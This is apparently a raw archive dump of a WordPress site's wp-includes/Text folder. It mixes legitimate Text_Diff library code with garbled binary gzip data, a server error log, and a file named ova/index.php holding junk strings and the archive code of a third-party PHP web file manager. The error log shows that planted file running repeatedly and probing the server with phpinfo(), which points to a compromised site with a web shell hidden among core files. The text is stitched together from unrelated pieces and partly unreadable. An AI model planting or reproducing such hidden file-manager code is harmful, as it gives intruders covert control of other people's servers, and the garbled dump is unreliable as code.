== $lines[$i - 1]) { $changed[--$start] = 1; $changed[--$i] = false; while ($start > 0 && $changed[$start - 1]) { $start--; } assert($j > 0); while ($other_changed[--$j]) { continue; } assert($j >= 0 && !$other_changed[$j]); } /* Set CORRESPONDING to the end of the changed run, at the * last point where it corresponds to a changed run in the * other file. CORRESPONDING == LEN means no such point has * been found. */ $corresponding = $j < $other_len ? $i : $len; /* Move the changed region forward, so long as the first * changed line matches the following unchanged one. This * merges with following changed regions. Do this second, so * that if there are no merges, the changed region is moved * forward as far as possible. */ while ($i < $len && $lines[$start] == $lines[$i]) { $changed[$start++] = false; $changed[$i++] = 1; while ($i < $len && $changed[$i]) { $i++; } assert($j < $other_len && ! $other_changed[$j]); $j++; if ($j < $other_len && $other_changed[$j]) { $corresponding = $i; while ($j < $other_len && $other_changed[$j]) { $j++; } } } } while ($runlength != $i - $start); /* If possible, move the fully-merged run of changes back to a * corresponding run in the other file. */ while ($corresponding < $i) { $changed[--$start] = 1; $changed[--$i] = 0; assert($j > 0); while ($other_changed[--$j]) { continue; } assert($j >= 0 && !$other_changed[$j]); } } } } xdiff.php000064400000004233150554227150006365 0ustar00 * @package Text_Diff */ class Text_Diff_Engine_xdiff { /** */ function diff($from_lines, $to_lines) { array_walk($from_lines, array('Text_Diff', 'trimNewlines')); array_walk($to_lines, array('Text_Diff', 'trimNewlines')); /* Convert the two input arrays into strings for xdiff processing. */ $from_string = implode("\n", $from_lines); $to_string = implode("\n", $to_lines); /* Diff the two strings and convert the result to an array. */ $diff = xdiff_string_diff($from_string, $to_string, count($to_lines)); $diff = explode("\n", $diff); /* Walk through the diff one line at a time. We build the $edits * array of diff operations by reading the first character of the * xdiff output (which is in the "unified diff" format). * * Note that we don't have enough information to detect "changed" * lines using this approach, so we can't add Text_Diff_Op_changed * instances to the $edits array. The result is still perfectly * valid, albeit a little less descriptive and efficient. */ $edits = array(); foreach ($diff as $line) { if (!strlen($line)) { continue; } switch ($line[0]) { case ' ': $edits[] = new Text_Diff_Op_copy(array(substr($line, 1))); break; case '+': $edits[] = new Text_Diff_Op_add(array(substr($line, 1))); break; case '-': $edits[] = new Text_Diff_Op_delete(array(substr($line, 1))); break; } } return $edits; } } PKR'#[×ova.tarnu[Diff.php.php.tar.gz000064400000006234150550174440010131 0ustar00[{o8OZN6[\Ҥ5A]DȒxwofHO-WlP<`/߲q؄~kN}|5~ dz*P"DFB/^D,h`i҇A?ŽoٙPB2a^ [(h FKvg\*y*S|n?i 4O?>B)CP3)G/x M57ռQ}pkHHq߅3: E#~е  "e y5$dhlr޽>~c` ifJxB M<$Dh<Å=&q5H<)b[> ^$\]e^(ŗޔB3Ì>+|͗,kpCKܳ]Q.BpXAcLg51vXGt}:j2Ez<\.Gr![!r߅0BbT4|_{t/䂇v'"~$=&7F69dd<ȥ]vR2Y4t ̙n&OQVV ǻʗZ(\ RNj("WZ&xekU:FBh]CX-&'[:2&CM5,_ ;pRMu1= )2̒XoC* <.1USK@~^61%|ֿ% mFhT "%GYtv_Mw̼fd`AW3q|8G *n9ŁM?E}linV[v3̇`:-<;A|9rb/}F#JJ@)!Q(<4Hv7q1l!XUhF~KδWutT{dr (!Bߵ/(gy@5 eš5x#Jaܯ,:Ě"&Tx ڊY 01YZ( ؉ wH3飱hXO&GGz7J.H0plN/V1^9*&[8mA"pк4Bp'a$g\ B|rAf?r?)ZC~ZwL Ui%obY9Mw7M _dǍ]2]¶ Y| 2; !SRKoQY:index.php000064400000233533150550174510006400 0ustar00nskldgskgsdgf hlsqmdklsqd speskdjqsjdss <\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } Diff.php.tar000064400000035000150550174560006720 0ustar00home/eufvorrv/jigawapost.com.ng/wp-includes/Text/Diff.php000064400000031107150550165720017451 0ustar00, and is used/adapted with his permission. * * Copyright 2004 Geoffrey T. Dairiki * Copyright 2004-2010 The Horde Project (http://www.horde.org/) * * See the enclosed file COPYING for license information (LGPL). If you did * not receive this file, see https://opensource.org/license/lgpl-2-1/. * * @package Text_Diff * @author Geoffrey T. Dairiki */ class Text_Diff { /** * Array of changes. * * @var array */ var $_edits; /** * Computes diffs between sequences of strings. * * @param string $engine Name of the diffing engine to use. 'auto' * will automatically select the best. * @param array $params Parameters to pass to the diffing engine. * Normally an array of two arrays, each * containing the lines from a file. */ function __construct( $engine, $params ) { // Backward compatibility workaround. if (!is_string($engine)) { $params = array($engine, $params); $engine = 'auto'; } if ($engine == 'auto') { $engine = extension_loaded('xdiff') ? 'xdiff' : 'native'; } else { $engine = basename($engine); } // WP #7391 require_once dirname(__FILE__).'/Diff/Engine/' . $engine . '.php'; $class = 'Text_Diff_Engine_' . $engine; $diff_engine = new $class(); $this->_edits = call_user_func_array(array($diff_engine, 'diff'), $params); } /** * PHP4 constructor. */ public function Text_Diff( $engine, $params ) { self::__construct( $engine, $params ); } /** * Returns the array of differences. */ function getDiff() { return $this->_edits; } /** * returns the number of new (added) lines in a given diff. * * @since Text_Diff 1.1.0 * * @return int The number of new lines */ function countAddedLines() { $count = 0; foreach ($this->_edits as $edit) { if (is_a($edit, 'Text_Diff_Op_add') || is_a($edit, 'Text_Diff_Op_change')) { $count += $edit->nfinal(); } } return $count; } /** * Returns the number of deleted (removed) lines in a given diff. * * @since Text_Diff 1.1.0 * * @return int The number of deleted lines */ function countDeletedLines() { $count = 0; foreach ($this->_edits as $edit) { if (is_a($edit, 'Text_Diff_Op_delete') || is_a($edit, 'Text_Diff_Op_change')) { $count += $edit->norig(); } } return $count; } /** * Computes a reversed diff. * * Example: * * $diff = new Text_Diff($lines1, $lines2); * $rev = $diff->reverse(); * * * @return Text_Diff A Diff object representing the inverse of the * original diff. Note that we purposely don't return a * reference here, since this essentially is a clone() * method. */ function reverse() { if (version_compare(zend_version(), '2', '>')) { $rev = clone($this); } else { $rev = $this; } $rev->_edits = array(); foreach ($this->_edits as $edit) { $rev->_edits[] = $edit->reverse(); } return $rev; } /** * Checks for an empty diff. * * @return bool True if two sequences were identical. */ function isEmpty() { foreach ($this->_edits as $edit) { if (!is_a($edit, 'Text_Diff_Op_copy')) { return false; } } return true; } /** * Computes the length of the Longest Common Subsequence (LCS). * * This is mostly for diagnostic purposes. * * @return int The length of the LCS. */ function lcs() { $lcs = 0; foreach ($this->_edits as $edit) { if (is_a($edit, 'Text_Diff_Op_copy')) { $lcs += count($edit->orig); } } return $lcs; } /** * Gets the original set of lines. * * This reconstructs the $from_lines parameter passed to the constructor. * * @return array The original sequence of strings. */ function getOriginal() { $lines = array(); foreach ($this->_edits as $edit) { if ($edit->orig) { array_splice($lines, count($lines), 0, $edit->orig); } } return $lines; } /** * Gets the final set of lines. * * This reconstructs the $to_lines parameter passed to the constructor. * * @return array The sequence of strings. */ function getFinal() { $lines = array(); foreach ($this->_edits as $edit) { if ($edit->final) { array_splice($lines, count($lines), 0, $edit->final); } } return $lines; } /** * Removes trailing newlines from a line of text. This is meant to be used * with array_walk(). * * @param string $line The line to trim. * @param int $key The index of the line in the array. Not used. */ static function trimNewlines(&$line, $key) { $line = str_replace(array("\n", "\r"), '', $line); } /** * Determines the location of the system temporary directory. * * @access protected * * @return string A directory name which can be used for temp files. * Returns false if one could not be found. */ static function _getTempDir() { $tmp_locations = array('/tmp', '/var/tmp', 'c:\WUTemp', 'c:\temp', 'c:\windows\temp', 'c:\winnt\temp'); /* Try PHP's upload_tmp_dir directive. */ $tmp = ini_get('upload_tmp_dir'); /* Otherwise, try to determine the TMPDIR environment variable. */ if (!strlen($tmp)) { $tmp = getenv('TMPDIR'); } /* If we still cannot determine a value, then cycle through a list of * preset possibilities. */ while (!strlen($tmp) && count($tmp_locations)) { $tmp_check = array_shift($tmp_locations); if (@is_dir($tmp_check)) { $tmp = $tmp_check; } } /* If it is still empty, we have failed, so return false; otherwise * return the directory determined. */ return strlen($tmp) ? $tmp : false; } /** * Checks a diff for validity. * * This is here only for debugging purposes. */ function _check($from_lines, $to_lines) { if (serialize($from_lines) != serialize($this->getOriginal())) { throw new Text_Exception("Reconstructed original does not match"); } if (serialize($to_lines) != serialize($this->getFinal())) { throw new Text_Exception("Reconstructed final does not match"); } $rev = $this->reverse(); if (serialize($to_lines) != serialize($rev->getOriginal())) { throw new Text_Exception("Reversed original does not match"); } if (serialize($from_lines) != serialize($rev->getFinal())) { throw new Text_Exception("Reversed final does not match"); } $prevtype = null; foreach ($this->_edits as $edit) { if ($prevtype !== null && $edit instanceof $prevtype) { throw new Text_Exception("Edit sequence is non-optimal"); } $prevtype = get_class($edit); } return true; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki */ class Text_MappedDiff extends Text_Diff { /** * Computes a diff between sequences of strings. * * This can be used to compute things like case-insensitive diffs, or diffs * which ignore changes in white-space. * * @param array $from_lines An array of strings. * @param array $to_lines An array of strings. * @param array $mapped_from_lines This array should have the same size * number of elements as $from_lines. The * elements in $mapped_from_lines and * $mapped_to_lines are what is actually * compared when computing the diff. * @param array $mapped_to_lines This array should have the same number * of elements as $to_lines. */ function __construct($from_lines, $to_lines, $mapped_from_lines, $mapped_to_lines) { assert(count($from_lines) == count($mapped_from_lines)); assert(count($to_lines) == count($mapped_to_lines)); parent::Text_Diff($mapped_from_lines, $mapped_to_lines); $xi = $yi = 0; for ($i = 0; $i < count($this->_edits); $i++) { $orig = &$this->_edits[$i]->orig; if (is_array($orig)) { $orig = array_slice($from_lines, $xi, count($orig)); $xi += count($orig); } $final = &$this->_edits[$i]->final; if (is_array($final)) { $final = array_slice($to_lines, $yi, count($final)); $yi += count($final); } } } /** * PHP4 constructor. */ public function Text_MappedDiff( $from_lines, $to_lines, $mapped_from_lines, $mapped_to_lines ) { self::__construct( $from_lines, $to_lines, $mapped_from_lines, $mapped_to_lines ); } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ abstract class Text_Diff_Op { var $orig; var $final; abstract function &reverse(); function norig() { return $this->orig ? count($this->orig) : 0; } function nfinal() { return $this->final ? count($this->final) : 0; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_copy extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $orig, $final = false ) { if (!is_array($final)) { $final = $orig; } $this->orig = $orig; $this->final = $final; } /** * PHP4 constructor. */ public function Text_Diff_Op_copy( $orig, $final = false ) { self::__construct( $orig, $final ); } function &reverse() { $reverse = new Text_Diff_Op_copy($this->final, $this->orig); return $reverse; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_delete extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $lines ) { $this->orig = $lines; $this->final = false; } /** * PHP4 constructor. */ public function Text_Diff_Op_delete( $lines ) { self::__construct( $lines ); } function &reverse() { $reverse = new Text_Diff_Op_add($this->orig); return $reverse; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_add extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $lines ) { $this->final = $lines; $this->orig = false; } /** * PHP4 constructor. */ public function Text_Diff_Op_add( $lines ) { self::__construct( $lines ); } function &reverse() { $reverse = new Text_Diff_Op_delete($this->final); return $reverse; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_change extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $orig, $final ) { $this->orig = $orig; $this->final = $final; } /** * PHP4 constructor. */ public function Text_Diff_Op_change( $orig, $final ) { self::__construct( $orig, $final ); } function &reverse() { $reverse = new Text_Diff_Op_change($this->final, $this->orig); return $reverse; } } error_log000064400000061734150550174640006503 0ustar00[29-Aug-2025 22:53:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [29-Aug-2025 22:53:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [29-Aug-2025 23:49:46 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [29-Aug-2025 23:49:46 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:38:49 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:38:51 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:46:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:46:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:47:01 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:47:01 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:47:09 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:47:11 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 05:30:25 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 05:30:25 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 05:30:25 UTC] PHP Fatal error: Uncaught Error: Call to undefined function phpinfo() in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php:669 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 669 [30-Aug-2025 07:45:27 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 07:45:33 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 07:47:17 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 07:47:22 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 07:50:58 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 07:51:04 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:12:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:12:38 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:38 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:41 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:41 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:53 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:54 UTC] PHP Warning: file_get_contents(): https:// 